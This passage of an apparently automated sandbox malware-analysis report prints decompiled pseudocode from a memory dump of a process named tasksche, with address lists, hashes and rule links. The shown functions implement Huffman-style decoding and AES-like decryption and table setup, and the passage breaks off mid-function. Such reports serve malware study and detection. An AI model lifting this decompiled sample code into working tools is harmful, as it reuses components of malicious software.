					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_t146 = (_v20 & 0x000000ff) + 0x438600; // 0x8239e37c
								_v36 =  *_t146;
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_t158 = (_v16 & 0x000000ff) + 0x438600; // 0xa340bf38
								_v32 =  *_t158;
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_t170 = (_v12 & 0x000000ff) + 0x438600; // 0xd56a0952
								_v28 =  *_t170;
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd8a
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdbe
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf2
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
